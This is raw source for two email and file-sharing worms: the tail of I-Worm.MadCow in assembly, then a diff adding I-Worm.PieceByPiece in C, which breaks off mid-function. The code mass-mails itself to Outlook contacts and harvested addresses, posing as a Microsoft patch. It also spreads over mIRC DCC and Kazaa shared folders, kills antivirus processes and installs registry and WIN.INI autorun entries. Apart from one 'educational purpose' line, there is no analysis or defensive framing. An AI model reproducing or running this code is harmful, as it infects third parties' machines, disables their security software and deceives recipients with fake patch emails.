"C:\mirc32\script.ini",00h+script3 db "C:\program files\mirc\script.ini",00h+script4 db "C:\program files\mirc32\script.ini",00h+CLE db "Software\[Atchoum]",00h+CLE2 db "\exefile\DefaultIcon",00h+Signature db "IWorm.MadCow par PetiK (c)2000"++vbsd:+db 'DEBUT()',0dh,0ah+db 'Sub DEBUT()',0dh,0ah+db 'EMAIL()',0dh,0ah+db 'End Sub',0dh,0ah+db '',0dh,0ah+db 'Sub EMAIL()',0dh,0ah+db 'Set K = CreateObject("Outlook.Application")',0dh,0ah+db 'Set L = K.GetNameSpace("MAPI")',0dh,0ah+db 'For Each M In L.AddressLists',0dh,0ah+db 'If M.AddressEntries.Count <> 0 Then',0dh,0ah+db 'Set N = K.CreateItem(0)',0dh,0ah+db 'For O = 1 To M.AddressEntries.Count',0dh,0ah+db 'Set P = M.AddressEntries(O)',0dh,0ah+db 'If O = 1 Then',0dh,0ah+db 'N.BCC = P.Address',0dh,0ah+db 'Else',0dh,0ah+db 'N.BCC = N.BCC & "; " & P.Address',0dh,0ah+db 'End If',0dh,0ah+db 'Next',0dh,0ah+db 'N.Subject = "Pourquoi les vaches sont-elles folles ?"',0dh,0ah+db 'N.Body = "Voila un rapport expliquant la folie des vaches"',0dh,0ah+db 'Set Q = CreateObject("Scripting.FileSystemObject")',0dh,0ah+db 'N.Attachments.Add Q.BuildPath(Q.GetSpecialFolder(0),"MadCow.exe")',0dh,0ah+db 'N.Send',0dh,0ah+db 'End If',0dh,0ah+db 'Next',0dh,0ah+db 'End Sub',0dh,0ah+vbstaille equ $-vbsd++batd:+db '@echo off',0dh,0ah+db 'start C:\Win32\ENVOIE.VBS',0dh,0ah+battaille equ $-batd++inid:+db "[script]",0dh,0ah+db "n0=on 1:JOIN:#:{",0dh,0ah+db "n1= /if ( $nick == $me ) { halt }",0dh,0ah+db "n2= /.dcc send $nick C:\Win32\MadCow.exe",0dh,0ah+db "n3=}",00h+initaille equ $-inid++include icone.inc++.code+DEBUT:+VERIF: mov eax,offset CLE ; V�rifie si il existe une cl�+ call REG ; [Atchoum] dans HKLM\Software.+ cmp [regDisp],1 ; Si elle n'y est pas,+ jne INIFILE ; on installe les composants++COPIE: push 0 ;+ call GetModuleHandleA ;+ push 260 ;+ push offset szOrig ;+ push eax ;+ call GetModuleFileNameA ; Copie le fichier original+ push 260 ;+ push offset szCopie ;+ call GetSystemDirectoryA ; dans le dossier SYSTEM+ push offset Copie ;+ push offset szCopie ;+ call lstrcat ; sous le nom de Wininet32.exe+ push 00h ;+ push offset szCopie ;+ push offset szOrig ;+ call CopyFileA ;+ push 260 ; puis+ push offset szCopi2 ;+ call GetWindowsDirectoryA ; � nouveau dans le dossier WINDOWS+ push offset Copie2 ;+ push offset szCopi2 ;+ call lstrcat ; sous le nom de MadCow.exe+ push 00h ;+ push offset szCopi2 ;+ push offset szOrig ;+ call CopyFileA ;++WIN_INI:push 260 ; Pour lancer le programme, on peut+ push offset szWin ;+ call GetWindowsDirectoryA ; utiliser la base de registre ou le+ push offset Winini ;+ push offset szWin ; fichier WIN.INI dans le dossier+ call lstrcat ;+ push offset szWin ; WINDOWS. La d�marche est simple :+ push offset szCopie ; [windows]+ push offset run ; run="nom du programme"+ push offset windows ;+ call WritePrivateProfileStringA ;++DIR: push 00h ; On cr�e ici C:\Win32+ push offset Dossier ;+ call CreateDirectoryA ;+EMAIL :push 00000000h ; On va cr�er C:\Win32\ENVOIE.VBS+ push 00000080h ;+ push 00000002h ;+ push 00000000h ;+ push 00000001h ;+ push 40000000h ;+ push offset VBSFILE ;+ call CreateFileA ;+ mov [fh],eax ;+ push 00h ;+ push offset octets ;+ push vbstaille ;+ push offset vbsd ;+ push [fh] ;+ call WriteFile ;+ push [fh] ;+ call CloseHandle ;+EXEC :push 00000000h ; et C:\Win32\ENVOIE.BAT+ push 00000080h ;+ push 00000002h ; qui va �x�cuter ENVOIE.VBS+ push 00000000h ;+ push 00000001h ;+ push 40000000h ;+ push offset BATFILE ;+ call CreateFileA ;+ mov [fh],eax ;+ push 00h ;+ push offset octets ;+ push battaille ;+ push offset batd ;+ push [fh] ;+ call WriteFile ;+ push [fh] ;+ call CloseHandle ;+ jmp EXECBAT ;++REG: push offset regDisp ;+ push offset regResu ;+ push 0 ;+ push 0F003Fh ;+ push 0 ;+ push 0 ;+ push 0 ;+ push eax ; Software\[Atchoum]+ push 80000002h ; HKEY_LOCAL_MACHINE+ call RegCreateKeyExA ;+ push [regResu] ; met la valeur dans regResu+ call RegCloseKey ;+ ret ;++INIFILE:push 00000000h ; On va cr�er dans C:\Win32+ push 00000001h ;+ push 00000002h ; le fichier script.ini+ push 00000000h ;+ push 00000001h ; en lecture seul.+ push 40000000h ;+ push offset fileini ;+ call CreateFileA ;+ mov [fh],eax ;+ push 00h ;+ push offset octets ;+ push initaille ;+ push offset inid ;+ push [fh] ;+ call WriteFile ;+ push [fh] ;+ call CloseHandle ;++ push 00h ; On va copier ce fichier dans les+ push offset script1 ; r�pertoire suivant :+ push offset fileini ;+ call CopyFileA ; C:\mirc C:\mirc32+ test eax,eax ; C:\program files\mirc et dans+ jnz COPYWIN ; C:\program files\mirc32+ push 00h ;+ push offset script2 ; Si il arrive � se copier dans un+ push offset fileini ; de ces fichier, il va cr�er une+ call CopyFileA ; copie du programme dans C:\Win32+ test eax,eax ; le nom MadCow.exe+ jnz COPYWIN ;+ push 00h ;+ push offset script3 ;+ push offset fileini ;+ call CopyFileA ;+ test eax,eax ;+ jnz COPYWIN ;+ push 00h ;+ push offset script4 ;+ push offset fileini ;+ call CopyFileA ;+ test eax,eax ;+ jz ICOFILE ;++COPYWIN:push 0 ;+ call GetModuleHandleA ;+ push 260 ;+ push offset szOrig2 ;+ push eax ;+ call GetModuleFileNameA ; Copie le fichier original+ push 00h ;+ push offset Copie3 ;+ push offset szOrig2 ;+ call CopyFileA ;+ jmp FIN ;++ICOFILE:push 00000000h ; On va cr�er � la base du disque+ push 00000080h ;+ push 00000002h ; dur le fichier Salut.ico+ push 00000000h ;+ push 00000001h ;+ push 40000000h ;+ push offset fichier ;+ call CreateFileA ;+ mov [fh],eax ;+ push 00h ;+ push offset octets ;+ push icotaille ;+ push offset icod ;+ push [fh] ;+ call WriteFile ;+ push [fh] ;+ call CloseHandle ;+ push 260 ; On d�place le fichier Salut.ico+ push offset szCico ;+ call GetSystemDirectoryA ; dans le dossier SYSTEM sous+ push offset Copico ;+ push offset szCico ; MSLS.ICO+ call lstrcat ;+ push offset szCico ;+ push offset fichier ;+ call MoveFileA ; => c'est fait++REG2: push offset l ;+ push offset p ;+ push 0 ;+ push 1F0000h + 1 + 2h ;+ push 0 ;+ push 0 ;+ push 0 ;+ push offset CLE2 ; Run+ push 80000000h ; HKEY_CLASSES_ROOT+ call RegCreateKeyExA ;+ push 05h ;+ push offset szCico ; %system%\MSLS.ico+ push 01h ;+ push 0 ;+ push 00h ; VALEUR PAR DEFAUT+ push p ;+ call RegSetValueExA ; CREE UN REGISTRE+ push 0 ;+ call RegCloseKey ; FERME LA BASE DE REGISTRE+ jmp FIN ; PUIS TERMINE LE PROGRAMME++EXECBAT:push 01h ; On �x�cute le fichier ENVOIE.BAT+ push offset BATFILE ;+ call WinExec ;+FIN: push 00h ; FIN DU PROGRAMME+ call ExitProcess ;++end DEBUT++*************************************************************************++comment *++ICONE.INC pour I-Worm.MadCow+CE FICHIER EST LA FORME HEXADECIMAL DE L'ICONE QUE L'ON VEUT CREER+*++icod:+db 000h,000h,001h,000h,001h,000h,010h,010h,010h,000h,000h,000h,000h,000h+db 028h,001h,000h,000h,016h,000h,000h,000h,028h,000h,000h,000h,010h,000h+db 000h,000h,020h,000h,000h,000h,001h,000h,004h,000h,000h,000h,000h,000h+db 0C0h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,010h,000h+db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,080h,000h+db 000h,080h,000h,000h,000h,080h,080h,000h,080h,000h,000h,000h,080h,000h+db 080h,000h,080h,080h,000h,000h,0C0h,0C0h,0C0h,000h,080h,080h,080h,000h+db 000h,000h,0FFh,000h,000h,0FFh,000h,000h,000h,0FFh,0FFh,000h,0FFh,000h+db 000h,000h,0FFh,000h,0FFh,000h,0FFh,0FFh,000h,000h,0FFh,0FFh,0FFh,000h+db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F0h,000h,000h,000h,000h,000h+db 000h,00Fh,0F0h,000h,000h,000h,000h,000h,000h,00Fh,0F0h,000h,000h,00Fh+db 0FFh,000h,000h,00Fh,0F0h,000h,000h,0F0h,000h,0F0h,000h,00Fh,0F0h,000h+db 000h,0F0h,000h,0F0h,000h,00Fh,0F0h,000h,00Fh,000h,000h,00Fh,000h,00Fh+db 0F0h,000h,00Fh,000h,00Fh,00Fh,000h,00Fh,0F0h,000h,0F0h,0FFh,000h,0F0h+db 0F0h,00Fh,0F0h,000h,0F0h,000h,000h,000h,0F0h,00Fh,0F0h,000h,00Fh,000h+db 000h,00Fh,000h,00Fh,0F0h,000h,00Fh,0FFh,0FFh,0FFh,000h,00Fh,0F0h,000h+db 0F0h,000h,000h,000h,0F0h,00Fh,0F0h,000h,00Fh,000h,000h,00Fh,000h,00Fh+db 0F0h,000h,000h,000h,000h,000h,000h,00Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh+db 0FFh,0FFh,000h,000h,0FFh,0FFh,07Fh,0FEh,0FFh,0FFh,07Fh,0FEh,0FFh,0FFh+db 07Eh,03Eh,0FFh,0FFh,07Dh,0DEh,0FFh,0FFh,07Dh,0DEh,0FFh,0FFh,07Bh,0EEh+db 0FFh,0FFh,07Bh,0AEh,0FFh,0FFh,074h,0D6h,0FFh,0FFh,077h,0F6h,0FFh,0FFh+db 07Bh,0EEh,0FFh,0FFh,078h,00Eh,0FFh,0FFh,077h,0F6h,0FFh,0FFh,07Bh,0EEh+db 0FFh,0FFh,07Fh,0FEh,0FFh,0FFh,000h,000h,0FFh,0FFh+icotaille equ $-icoddiff --git a/Worms/InternetWorm/I-Worm.PieceByPiece.c b/Worms/InternetWorm/I-Worm.PieceByPiece.cnew file mode 100644index 0000000..65b7d52--- /dev/null+++ b/Worms/InternetWorm/I-Worm.PieceByPiece.c@@ -0,0 +1,878 @@+/*+I-Worm/PieceByPiece Copyright (C) 2002 MI_pirat [Red-Cell] inc.+For educational purpose only. Distribute under GPL.+Some lyrics from the song that inspired me:++ "Cause nothing ever lasts forever+ We're like flowers in this vase, together+ You and me, it's pulling me down+ Tearing my down, piece by piece+ And you can't see+ That's it's like a disease+ Killing me now, it's so hard to breathe"+ -Feeder <Piece by Piece>+*/++#include <winsock.h>+#include <fstream.h>+#include <tlhelp32.h>+#include <string.h>+#include <stdlib.h>++//--------------------------------------GLOBAL VARIABLES-------------------------------------++HWND hwnd;+WORD version = MAKEWORD(1,1);+WSADATA wsaData;+int nRet;+char Buf[256],myBuf[256],ch[1],ch2[256],server[]="smtp.barrysworld.com",email[]="[email protected]",helo[]="barrysworld.com";+char emails[50][100],windir[MAX_PATH],filename[MAX_PATH],winbkup[MAX_PATH],zippth[MAX_PATH];+char cx[1],cx2[33],buc1[8],buc2[8],buc3[8],xxx[256];+SOCKET theSocket;+int i,err=0,c=0,connected=0,tim,sending=0;+SYSTEMTIME time;+double k;+DWORD basesize,ProcessId;++//--------------------------------------WNDPROC-----------------------------------------------++LRESULT CALLBACK WndProc(HWND hWnd,UINT iMsg,WPARAM wParam,LPARAM lParam);++//--------------------------------------GETASC------------------------------------------------++int getasc(char chr[1]) {+int i=0;+char c[1];++for (i=0;i<257;i++) {+c[0]=i;+if (chr[0]==c[0]) { return(i); }+}+}++//--------------------------------------BASE64-----------------------------------------------++void base64(char *file) { //Encodes a file using the "base 64" encoding+WIN32_FIND_DATA fis; //It's kinna shitty code, but it works just GREAT!+int i,j,n,done=0,k=0,lin=0;+double c=0;+char tmp[7];+DWORD totsize;+char base[64]={'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P',++ 'Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f',++ 'g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v',++ 'w','x','y','z','0','1','2','3','4','5','6','7','8','9','+','/'};++fstream f(file,ios::in | ios::binary), g("C:\\Msbootlog.sys",ios::out);+FindFirstFile(file,&fis);+totsize=fis.nFileSizeLow; //Get the file size in bytes+for (c=0;c<totsize/3;c++) { //Encode 'till no more 3 char chunks are available++buc1[0]=0;+xxx[0]=0;+f.get(cx[1]);+j=getasc(&cx[1]);+itoa(j,cx2,2);+if (strlen(cx2)<8) {+for (i=0;i<8-strlen(cx2);i++) buc1[i]='0';+buc1[i]=0;+strcat(buc1,cx2);+} else strcpy(buc1,cx2);+buc2[0]=0;+f.get(cx[1]);+j=getasc(&cx[1]);+itoa(j,cx2,2);+if (strlen(cx2)<8) {+for (i=0;i<8-strlen(cx2);i++) buc2[i]='0';+buc2[i]=0;+strcat(buc2,cx2);+} else strcpy(buc2,cx2);+buc3[0]=0;+f.get(cx[1]);+j=getasc(&cx[1]);+itoa(j,cx2,2);+if (strlen(cx2)<8) {+for (i=0;i<8-strlen(cx2);i++) buc3[i]='0';+buc3[i]=0;+strcat(buc3,cx2);+} else strcpy(buc3,cx2);+xxx[0]=0;+strcpy(xxx,buc1);+done=0;+k=0;+while (done!=24) {+ for (i=done;i<done+6;i++) {+ tmp[k]=xxx[i];+ k++;+ }+tmp[k]=0;+done+=6;+n=strtol(tmp,NULL,2);+g<<base[n];+lin++;+if (lin==76) {+ g<<endl;lin=0;+}+tmp[0]=0;+k=0;+}++}++//One char left so add 4 0s at the end+if (totsize%3==1) {+buc1[0]=0;+f.get(cx[1]);+j=getasc(&cx[1]);+itoa(j,cx2,2);+if (strlen(cx2)<8) {+for (i=0;i<8-strlen(cx2);i++) buc1[i]='0';+buc1[i]=0;+strcat(buc1,cx2);+} else strcpy(buc1,cx2);+strcat(buc1,"0000");+done=0;+k=0;+while (done!=12) {+ for (i=done;i<done+6;i++) {+ tmp[k]=buc1[i];+ k++;+ }+tmp[k]=0;+done+=6;+n=strtol(tmp,NULL,2);+g<<base[n];+lin++;+if (lin==76) {+ g<<endl;lin=0;+}+tmp[0]=0;+k=0;+}+g<<"==";+}++//Two chars left so add 2 0s at the end+if (totsize%3==2) {+buc1[0]=0;+f.get(cx[1]);+j=getasc(&cx[1]);+itoa(j,cx2,2);+if (strlen(cx2)<8) {+for (i=0;i<8-strlen(cx2);i++) buc1[i]='0';+buc1[i]=0;+strcat(buc1,cx2);+} else strcpy(buc1,cx2);+strcat(buc1,"00");+done=0;+k=0;+while (done!=18) {+ for (i=done;i<done+6;i++) {+ tmp[k]=buc1[i];+ k++;+ }+tmp[k]=0;+done+=6;+n=strtol(tmp,NULL,2);+g<<base[n];+lin++;+if (lin==76) {+ g<<endl;lin=0;+}+tmp[0]=0;+k=0;+}+g<<"=";+}++f.close();+g.close();+//Get the size of the encoded file+FindFirstFile("C:\\Msbootlog.sys",&fis);+basesize=fis.nFileSizeLow;+}+//--------------------------------------SENDMAIL---------------------------------------------++void sendmail() { //Sends an e-mail with MIME encoding+int ran;++sending=1;+//"HELO" the server+strcpy(myBuf, "HELO <");+strcat(myBuf,helo);+strcat(myBuf,">\x0d\x0a");+send(theSocket,myBuf,strlen(myBuf),0);++recv(theSocket,Buf,sizeof(Buf),0);++if (Buf[0]=='2' && Buf[1]=='5' && Buf[2]=='0') {+strcpy(myBuf, "MAIL FROM:<");+strcat(myBuf,email);+strcat(myBuf,">\x0d\x0a");+send(theSocket,myBuf,strlen(myBuf),0);++recv(theSocket,Buf,sizeof(Buf),0);+}+if (Buf[0]=='4' || Buf[0]=='5') err=1;++if (Buf[0]=='2' && Buf[1]=='5' && Buf[2]=='0' && err==0) {++GetSystemTime(&time);+srand(time.wSecond);+ran=rand();+while (ran>c) {+srand(c);+ran=ran-rand();+}+if (ran<0) ran=ran*(-1);+strcpy(myBuf, "RCPT TO:<");+strcat(myBuf, emails[ran]);+strcat(myBuf, ">\x0d\x0a");+send(theSocket,myBuf,strlen(myBuf),0);++recv(theSocket,Buf,sizeof(Buf),0);+}+if (Buf[0]=='4' || Buf[0]=='5') err=1;++if (Buf[0]=='2' && Buf[1]=='5' && err==0) {+strcpy(myBuf, "DATA\x0d\x0a");+send(theSocket,myBuf,strlen(myBuf),0);++recv(theSocket,Buf,sizeof(Buf),0);+}+if (Buf[0]=='4' || Buf[0]=='5') err=1;++if (Buf[0]=='3' && Buf[1]=='5' && Buf[2]=='4' && err==0) {++if (stricmp(email,"[email protected]")==0) { //if we use the hard-coded e-mail address+ strcpy(myBuf, "Reply-To: \"Microsoft\" <[email protected]>\x0d\x0a");+ send(theSocket,myBuf,strlen(myBuf),0);++ strcpy(myBuf, "From: \"Microsoft\" <[email protected]>\x0d\x0a");+ send(theSocket,myBuf,strlen(myBuf),0);++ strcpy(myBuf, "Subject: Internet Explorer vulnerability patch\x0d\x0a");+ send(theSocket,myBuf,strlen(myBuf),0);+} else { //if we find a new address+ strcpy(myBuf, "From: <");+ strcat(myBuf, email);+ strcat(myBuf, ">\x0d\x0a");+ send(theSocket,myBuf,strlen(myBuf),0);++ strcpy(myBuf, "Subject: Hello\x0d\x0a");+ send(theSocket,myBuf,strlen(myBuf),0);++}++strcpy(myBuf, "MIME-Version: 1.0\x0d\x0a");+send(theSocket,myBuf,strlen(myBuf),0);++strcpy(myBuf, "Content-Type: multipart/mixed;\x0d\x0a");+send(theSocket,myBuf,strlen(myBuf),0);++strcpy(myBuf, " boundary = \"bla\"\x0d\x0a");+send(theSocket,myBuf,strlen(myBuf),0);++strcpy(myBuf, "X-Priority: 3\x0d\x0a");+send(theSocket,myBuf,strlen(myBuf),0);++strcpy(myBuf, "X -MSMail - Priority: Normal\x0d\x0a");+send(theSocket,myBuf,strlen(myBuf),0);++strcpy(myBuf, "X-Mailer: mailer@localhost\x0d\x0a\x0d\x0a");+send(theSocket,myBuf,strlen(myBuf),0);++strcpy(myBuf, "This is a multi-part message in MIME format.\x0d\x0a\x0d\x0a");+send(theSocket,myBuf,strlen(myBuf),0);++strcpy(myBuf, "--bla\x0d\x0a");+send(theSocket,myBuf,strlen(myBuf),0);++strcpy(myBuf, "Content-Type: text/plain; charset:us-ascii\x0d\x0a\x0d\x0a");+send(theSocket,myBuf,strlen(myBuf),0);++strcpy(myBuf, "You will find all you need in the attachment.\x0d\x0a\x0d\x0a");+send(theSocket,myBuf,strlen(myBuf),0);++strcpy(myBuf, "--bla\x0d\x0a");+send(theSocket,myBuf,strlen(myBuf),0);++strcpy(myBuf, "Content-Type: application/x-msdownload;\x0d\x0a");+send(theSocket,myBuf,strlen(myBuf),0);++strcpy(myBuf, " name = \"setup.exe\"\x0d\x0a");+send(theSocket,myBuf,strlen(myBuf),0);++strcpy(myBuf, "Content-Transfer-Encoding: base64\x0d\x0a");+send(theSocket,myBuf,strlen(myBuf),0);++strcpy(myBuf, "Content-Disposition: attachment;\x0d\x0a");+send(theSocket,myBuf,strlen(myBuf),0);++strcpy(myBuf, " filename = \"setup.exe\"\x0d\x0a\x0d\x0a");+send(theSocket,myBuf,strlen(myBuf),0);++//Send the file byte by byte+fstream f("C:\\Msbootlog.sys",ios::in);+for (k=0;k<basesize;k++) {+f.get(ch[1]);+strcpy(myBuf,&ch[1]);+send(theSocket,myBuf,strlen(myBuf),0);+}+f.close();++strcpy(myBuf, "\x0d\x0a--bla--\x0d\x0a");+send(theSocket,myBuf,strlen(myBuf),0);++strcpy(myBuf, "\x0d\x0a.\x0d\x0a");+send(theSocket,myBuf,strlen(myBuf),0);++recv(theSocket,Buf,sizeof(Buf),0);+}+if (Buf[0]=='4' || Buf[0]=='5') err=1;++strcpy(myBuf, "QUIT\x0d\x0a");+send(theSocket,myBuf,strlen(myBuf),0);+}++//--------------------------------------GETPROCESSMODULE------------------------------------++BOOL GetProcessModule (DWORD dwPID, DWORD dwModuleID,+ LPMODULEENTRY32 lpMe32, DWORD cbMe32)+{+ BOOL bRet = FALSE;+ BOOL bFound = FALSE;+ HANDLE hModuleSnap = NULL;+ MODULEENTRY32 me32 = {0};++ hModuleSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID);+ if (hModuleSnap == (HANDLE)-1)+ return (FALSE);++ me32.dwSize = sizeof(MODULEENTRY32);++ if (Module32First(hModuleSnap, &me32))+ {+ do+ {+ if (me32.th32ModuleID == dwModuleID)+ {+ CopyMemory (lpMe32, &me32, cbMe32);+ bFound = TRUE;+ }+ }+ while (!bFound && Module32Next(hModuleSnap, &me32));++ bRet = bFound;+ }+ else+ bRet = FALSE;+ CloseHandle (hModuleSnap);++ return (bRet);+}++//--------------------------------------PROCESSES---------------------------------------------++BOOL processes() //Various stuff with processes+{+ HANDLE hProcessSnap = NULL;+ BOOL bRet = FALSE;+ PROCESSENTRY32 pe32 = {0};++ hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);+ if (hProcessSnap == (HANDLE)-1)+ return (FALSE);+ pe32.dwSize = sizeof(PROCESSENTRY32);+ if (Process32First(hProcessSnap, &pe32))+ {+ DWORD dwPriorityClass;+ BOOL bGotModule = FALSE;+ MODULEENTRY32 me32 = {0};+ do+ {+ bGotModule = GetProcessModule(pe32.th32ProcessID,+ pe32.th32ModuleID, &me32, sizeof(MODULEENTRY32));+ if (bGotModule)+ {+ HANDLE hProcess;+ hProcess = OpenProcess (PROCESS_ALL_ACCESS,+ FALSE, pe32.th32ProcessID);+ dwPriorityClass = GetPriorityClass (hProcess);+ //Get the virus' filename+ if (me32.th32ProcessID==ProcessId) strcpy(filename,me32.szExePath);++ //Anti AVs+ if (strstr(me32.szModule,"AV")!=0 || strstr(me32.szModule,"F-")!=0 || strstr(me32.szModule,"av")!=0) {+ TerminateProcess(hProcess,0);+ }++ //Close the handle+ CloseHandle (hProcess);+ }+ }+ while (Process32Next(hProcessSnap, &pe32));+ bRet = TRUE;+ }+ else+ bRet = FALSE;+ CloseHandle (hProcessSnap);+ return (bRet);+}++//--------------------------------------FINDSERVER--------------------------------------------++void findserver() { //Gets a SMTP server and user name from the registry (if possible)+int i,j;+char key2[256];+unsigned char acc[1024],smtp[1024],eml[1024];+DWORD acclen=sizeof(acc), smtplen=sizeof(smtp), emllen=sizeof(eml);+HKEY hKey;++//Try getting a SMTP server from registry+strcpy(key2,"Software\\Microsoft\\Internet Account Manager");+RegOpenKeyEx(HKEY_CURRENT_USER,key2,0,KEY_QUERY_VALUE,&hKey);+RegQueryValueEx(hKey,"Default Mail Account",0,NULL,acc,&acclen);+RegCloseKey(hKey);+strcpy(key2,"Software\\Microsoft\\Internet Account Manager\\Accounts\\");+j=strlen(key2);+for (i=0;i<8;i++){+key2[j+i]=acc[i];+}+key2[j+i]=0;+RegOpenKeyEx(HKEY_CURRENT_USER,key2,0,KEY_QUERY_VALUE,&hKey);+RegQueryValueEx(hKey,"SMTP Server",0,NULL,smtp,&smtplen);+RegCloseKey(hKey);+if (smtp[0]>44 && smtp[0]<123) { //if a valid serv. is found, replace the hard-coded one with+i=0; //the new one+while (smtp[i]!=0) {+ server[i]=smtp[i]; //Now this is the SMTP server+ i++;+ }+server[i]=0;+//Get the e-mail+RegOpenKeyEx(HKEY_CURRENT_USER,key2,0,KEY_QUERY_VALUE,&hKey);+RegQueryValueEx(hKey,"SMTP Email Address",0,NULL,eml,&emllen);+RegCloseKey(hKey);+if (eml[0]>44 && eml[0]<123) { //if a valid e-mail is found, replace the hard-coded one with+i=0; //the new one+while (eml[i]!=0) {+ email[i]=eml[i]; //Now this is the "FROM:" e-mail+ i++;+ }+email[i]=0;+}+//Set a new "HELO" domain+i=strlen(email)-1;+j=0;+while (email[i]!='@') {+ helo[j]=email[i];+ j++;+ i--;+ }+}+helo[j]=0;+strrev(helo);+//end+}++//--------------------------------------FINDMAIL----------------------------------------------++void findmail(char file[MAX_PATH]) //Gets e-mail addresses from HTML files+{+int ik,j=0;+char lin[256],*start,ch[1];++fstream f(file,ios::in);+while (f.get(lin,256))+{+start=strstr(lin,"mailto:");+if (start!=0)+ {+ j=0;+ c++;+ ik=start-lin+7;+ ch[1]=lin[ik];+ while (ch[1]!=34 && ch[1]!=58 && ch[1]!=32 && ch[1]!=62 && ch[1]!=63)+ {+ emails[c][j]=ch[1];+ j++;+ ik++;+ ch[1]=lin[ik];+ }+emails[c][j]=0;+}+f.get();+}+f.close();+}++//--------------------------------------FINDFILES---------------------------------------------++void findfiles() { //Searches for .htm files in the temp. directories+WIN32_FIND_DATA f;+HANDLE hf;+int k=0;+char pth1[MAX_PATH],pth2[MAX_PATH],pth3[MAX_PATH],pth[MAX_PATH],path[MAX_PATH];++strcpy(pth2,windir);+strcat(pth2,"\\Temporary Internet Files\\*");+hf=FindFirstFile(pth2,&f);+if (f.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY+FILE_ATTRIBUTE_SYSTEM) {strcpy(pth1,f.cFileName); k=20;}+while (FindNextFile(hf,&f)!=0 && k<20) {+ if (f.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY+FILE_ATTRIBUTE_SYSTEM) {strcpy(pth1,f.cFileName); k=20;}+ k++;+}+FindClose(hf);+strcpy(pth2,windir);+strcat(pth2,"\\Temporary Internet Files\\");+strcat(pth2,pth1);+strcat(pth2,"\\*");+k=0;+hf=FindFirstFile(pth2,&f);+if (f.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY+FILE_ATTRIBUTE_SYSTEM) {strcpy(pth3,f.cFileName); k=20;}+while (FindNextFile(hf,&f)!=0 && k<20) {+ if (f.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY+FILE_ATTRIBUTE_SYSTEM) {strcpy(pth3,f.cFileName); k=20;}+ k++;+}+FindClose(hf);+strcpy(pth2,windir);+strcat(pth2,"\\Temporary Internet Files\\");+strcat(pth2,pth1);+strcat(pth2,"\\");+strcat(pth2,pth3);+strcpy(pth,pth2);+strcat(pth,"\\");+strcat(pth2,"\\*.htm");+k=0;+hf=FindFirstFile(pth2,&f);+while (FindNextFile(hf,&f)!=0 && k<70) {+ if (f.cFileName[0]!='.') {+ strcpy(path,pth);+ strcat(path,f.cFileName);+ findmail(path);+ }+ k++;+}+FindClose(hf);+}++//--------------------------------------CONECT------------------------------------------------++int conect() { //Connects to a server using "Winsock"++// Start up Winsock+i=WSAStartup(version, &wsaData);+if (i!=0) {return(0);}++// Store information about the server+LPHOSTENT lpHostEntry;++lpHostEntry = gethostbyname(server);+if (lpHostEntry == NULL) {+WSACleanup();+connected=0;+return(0);+} else connected=1; //This means we're connected+//Get important data+if (err==0) { //If we didn't run this allready and got an error+ findserver();+ findfiles();+}+// Create the socket+theSocket = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);+if (theSocket == INVALID_SOCKET) {+WSACleanup();+connected=0;+return(0);+}++SOCKADDR_IN saServer;+saServer.sin_family = AF_INET;+saServer.sin_addr = *((LPIN_ADDR)*lpHostEntry->h_addr_list);+saServer.sin_port = htons(25);+// Connect to the server+nRet = connect(theSocket,(LPSOCKADDR)&saServer,sizeof(struct sockaddr));+if (nRet == SOCKET_ERROR) {+WSACleanup();+connected=0;+return(0);+}++nRet = recv(theSocket,Buf,sizeof(Buf),0);+if (nRet == SOCKET_ERROR) {+WSACleanup();+connected=0;+return(0);+}++if (Buf[0]=='4' || Buf[0]=='5') err=1;+if (Buf[0]=='2' && Buf[1]=='2' && Buf[2]=='0') {+sendmail();+}+//Close the connection+closesocket(theSocket);+// Shutdown Winsock+WSACleanup();+}++//--------------------------------------KAZAA-----------------------------------------------++void kazaa(char *file) { //Makes a copy in the Kazaa "Shared Folder"+int i;+char kaza[256],kfile[3][20];+unsigned char kpth[1024];+DWORD kpthlen=sizeof(kpth);+HKEY hKey;++//The filenames+strcpy(kfile[0],"\\mirc6.exe");+strcpy(kfile[1],"\\winamp3.exe");+strcpy(kfile[2],"\\wincrack.exe");+strcpy(kfile[3],"\\icq2002.exe");+//Get the path to Kazaa from the reg.+RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Kazaa\\Transfer",0,KEY_QUERY_VALUE,&hKey);+RegQueryValueEx(hKey,"DlDir0",0,NULL,kpth,&kpthlen);+RegCloseKey(hKey);+if (kpth[0]>64 && kpth[0]<123) {+i=0;+while (kpth[i]!=0) {+ kaza[i]=kpth[i];+ i++;+ }+kaza[i]=0;+}+GetSystemTime(&time);+srand(time.wSecond);+if (rand()%5==0) strcat(kaza,kfile[3]);+ else if (rand()%4==0) strcat(kaza,kfile[2]);+ else if (rand()%3==0) strcat(kaza,kfile[1]);+ else if (rand()%2==0) strcat(kaza,kfile[0]);+CopyFile(file,kaza,FALSE);+}++//--------------------------------------INFECTWIN-------------------------------------------++void infectwin(char *file) { //Makes copies of the worm in %WinDir%\System\winsys*.exe+HKEY hKey;+unsigned char val[256];+char rnd[6];+int i=0;++strcpy(winbkup,windir);+strcat(winbkup,"\\System\\winsys");+GetSystemTime(&time);+srand(time.wSecond);+itoa(rand(),rnd,10);+strcat(winbkup,rnd);+strcat(winbkup,".exe");+//Copy file to Windows+CopyFile(file,winbkup,TRUE);+//Just in case there is no WinZip, use this path+strcpy(zippth,winbkup);+//Now make Windows run it at startup+while (winbkup[i]!=0) {+ val[i]=winbkup[i];+ i++;+ }+val[i]=0;+RegCreateKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&hKey);+RegSetValueEx(hKey,"Windows task32 sys",0,REG_SZ,val,sizeof(val));+RegCloseKey(hKey);+}++//--------------------------------------MIRC--------------------------------------------------++void mirc() { //Creates a mIRC script+HKEY 